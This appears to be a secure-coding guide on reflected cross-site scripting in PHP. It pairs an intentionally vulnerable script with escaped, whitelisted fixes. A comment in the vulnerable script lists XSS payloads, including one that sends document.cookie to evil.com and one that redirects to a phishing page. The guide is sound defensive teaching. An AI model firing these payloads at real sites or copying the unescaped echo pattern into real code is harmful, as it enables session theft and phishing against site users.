Cross-site scripting (XSS) from HTTP request data echoed in PHP

High Risk Injection
xssphphttprequestechoweb

What it is

Cross-site scripting (XSS) lets attackers execute scripts, steal sessions, and exfiltrate data.

<?php
// Vulnerable PHP script with XSS

// Direct echoing of GET parameters
if (isset($_GET['name'])) {
    echo "<h1>Welcome " . $_GET['name'] . "!</h1>";
}

// Form processing without encoding
if ($_POST) {
    $comment = $_POST['comment'] ?? '';
    $author = $_POST['author'] ?? '';
    $email = $_POST['email'] ?? '';

    // Vulnerable: Direct output of form data
    echo "<div class='comment-section'>";
    echo "<h3>Comment by: " . $author . "</h3>";
    echo "<p>Email: " . $email . "</p>";
    echo "<div class='comment-content'>" . $comment . "</div>";
    echo "</div>";
}

// Error message with user input
if (isset($_GET['error'])) {
    echo "<div class='error'>Error: " . $_GET['error'] . "</div>";
}

// Search results display
if (isset($_GET['q'])) {
    $query = $_GET['q'];
    echo "<h2>Search results for: " . $query . "</h2>";
    echo "<p>No results found for '" . $query . "'</p>";
}

// Profile page with user data
if (isset($_GET['bio'])) {
    echo "<div class='profile'>";
    echo "<div class='bio'>" . $_GET['bio'] . "</div>";
    echo "</div>";
}

// Dynamic CSS class injection
$theme = $_GET['theme'] ?? 'default';
echo "<div class='" . $theme . "'>";
echo "Content with user-controlled class";
echo "</div>";

// JavaScript context vulnerability
if (isset($_GET['callback'])) {
    echo "<script>";
    echo "window." . $_GET['callback'] . "();";
    echo "</script>";
}

/*
Attack vectors:
?name=<script>alert('XSS')</script>
?error=<img src=x onerror="fetch('//evil.com/steal?cookie='+document.cookie)">
?q=<iframe src="javascript:alert('XSS')"></iframe>
?bio=<script>document.location='//evil.com/phish'</script>
?theme=" onload="alert('XSS')
?callback=alert('XSS')//
*/
?>
<?php
// Secure PHP script with proper XSS prevention

// Helper function for HTML escaping
function h($str) {
    return htmlspecialchars($str, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
}

// Helper function for attribute escaping
function attr($str) {
    return htmlspecialchars($str, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
}

// Helper function for URL validation
function safe_url($url) {
    $parsed = parse_url($url);
    if (!$parsed || !in_array($parsed['scheme'] ?? '', ['http', 'https'])) {
        return '#'; // Safe fallback
    }
    return $url;
}

// Safe echoing of GET parameters
if (isset($_GET['name'])) {
    echo "<h1>Welcome " . h($_GET['name']) . "!</h1>";
}

// Safe form processing with encoding
if ($_POST) {
    $comment = $_POST['comment'] ?? '';
    $author = $_POST['author'] ?? '';
    $email = $_POST['email'] ?? '';

    // Input validation
    if (strlen($comment) > 1000) {
        $comment = substr($comment, 0, 1000);
    }

    if (strlen($author) > 100) {
        $author = substr($author, 0, 100);
    }

    // Email validation
    if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
        $email = 'Invalid email';
    }

    // Safe: HTML encoding for all output
    echo "<div class='comment-section'>";
    echo "<h3>Comment by: " . h($author) . "</h3>";
    echo "<p>Email: " . h($email) . "</p>";
    echo "<div class='comment-content'>" . h($comment) . "</div>";
    echo "</div>";
}

// Safe error message handling
if (isset($_GET['error'])) {
    // Validate error code against whitelist
    $allowed_errors = [
        'not_found' => 'Page not found',
        'access_denied' => 'Access denied',
        'invalid_input' => 'Invalid input provided'
    ];

    $error_code = $_GET['error'];
    $error_message = $allowed_errors[$error_code] ?? 'Unknown error';

    echo "<div class='error'>Error: " . h($error_message) . "</div>";
}

// Safe search results display
if (isset($_GET['q'])) {
    $query = $_GET['q'];

    // Limit query length
    if (strlen($query) > 100) {
        $query = substr($query, 0, 100);
    }

    echo "<h2>Search results for: " . h($query) . "</h2>";
    echo "<p>No results found for '" . h($query) . "'</p>";
}

// Safe profile page with user data
if (isset($_GET['bio'])) {
    $bio = $_GET['bio'];

    // Limit bio length
    if (strlen($bio) > 500) {
        $bio = substr($bio, 0, 500);
    }

    echo "<div class='profile'>";
    echo "<div class='bio'>" . h($bio) . "</div>";
    echo "</div>";
}

// Safe CSS class handling
$theme = $_GET['theme'] ?? 'default';

// Validate theme against whitelist
$allowed_themes = ['default', 'dark', 'light', 'blue'];
if (!in_array($theme, $allowed_themes)) {
    $theme = 'default';
}

echo "<div class='" . attr($theme) . "'>";
echo "Content with validated class";
echo "</div>";

// Safe JavaScript context handling
if (isset($_GET['callback'])) {
    // Validate callback name (alphanumeric only)
    $callback = $_GET['callback'];
    if (preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*$/', $callback)) {
        // Whitelist allowed callbacks
        $allowed_callbacks = ['showWelcome', 'initApp', 'handleData'];
        if (in_array($callback, $allowed_callbacks)) {
            echo "<script>";
            echo "window." . $callback . "();";
            echo "</script>";
        }
    }
}

// Alternative: Using Twig template engine (recommended)
/*
require_once 'vendor/autoload.php';

$loader = new \Twig\Loader\FilesystemLoader('templates');
$twig = new \Twig\Environment($loader, ['autoescape' => 'html']);

echo $twig->render('page.html', [
    'name' => $_GET['name'] ?? '',
    'query' => $_GET['q'] ?? '',
    'theme' => $theme
]);
*/

// Alternative: Using output buffering with filtering
function safe_output($content) {
    return h($content);
}

ob_start('safe_output');
echo $_GET['unsafe_content'] ?? '';
ob_end_flush(); // Content is automatically escaped

?>

💡 Why This Fix Works

The vulnerable code directly echoes user input without HTML encoding, allowing XSS attacks. The fixed version uses htmlspecialchars(), input validation, whitelisting, and proper context-aware escaping.

Why it happens

User-controlled $_GET/$_POST/$_REQUEST values are echoed without HTML encoding or context-aware escaping.

Root causes

Direct Echo of Request Data

User-controlled $_GET/$_POST/$_REQUEST values are echoed without HTML encoding or context-aware escaping.

Preview example – PHP
<?php
// Dangerous: Direct echo of user input
echo "<h1>Welcome " . $_GET['name'] . "!</h1>";
echo "<p>" . $_POST['message'] . "</p>";

Form Data Reflection

Reflecting form data back to users in success or error messages without proper encoding.

Preview example – PHP
<?php
// Vulnerable: Form data without encoding
if ($_POST['comment']) {
    echo "<div>Your comment: " . $_POST['comment'] . "</div>";
}

URL Parameter Display

Displaying URL parameters in error messages or page content without escaping.

Preview example – PHP
<?php
// XSS risk: URL parameters in output
$filename = $_GET['file'];
echo "<p>File not found: " . $filename . "</p>";

Fixes

1

Use htmlspecialchars() for HTML Context

Encode untrusted data before output using htmlspecialchars() with proper flags.

View implementation – PHP
<?php
// Safe: HTML encoding with htmlspecialchars
echo "<h1>Welcome " . htmlspecialchars($_GET['name'], ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8') . "!</h1>";

// For attributes
echo '<input value="' . htmlspecialchars($_POST['value'], ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8') . '">';

// Shorter form with function
function h($str) {
    return htmlspecialchars($str, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
}

echo "<h1>Welcome " . h($_GET['name']) . "!</h1>";
2

Use Framework Escaping Functions

Prefer framework helpers like esc_html() or esc_attr() that provide context-appropriate escaping.

View implementation – PHP
<?php
// WordPress example
echo "<h1>Welcome " . esc_html($_GET['name']) . "!</h1>";
echo '<input value="' . esc_attr($_POST['value']) . '">';
echo '<a href="' . esc_url($_GET['url']) . '">Link</a>';

// Laravel example (in Blade templates)
// <h1>Welcome {{ $name }}!</h1>  <!-- Auto-escaped -->
// <input value="{{ $value }}">   <!-- Auto-escaped -->
3

Template Engines with Auto-Escaping

Use template engines like Twig that provide automatic HTML escaping by default.

View implementation – PHP
<?php
// Twig template example
// <h1>Welcome {{ name }}!</h1>     {# Auto-escaped #}
// <p>{{ message }}</p>             {# Auto-escaped #}
// <div>{{ content|raw }}</div>     {# Unescaped - use carefully #}

// PHP code
$twig = new \Twig\Environment($loader, ['autoescape' => 'html']);
echo $twig->render('page.html', [
    'name' => $_GET['name'],       // Auto-escaped in template
    'message' => $_POST['message'] // Auto-escaped in template
]);

Detect This Vulnerability in Your Code

Sourcery automatically identifies cross-site scripting (xss) from http request data echoed in php and many other security issues in your codebase.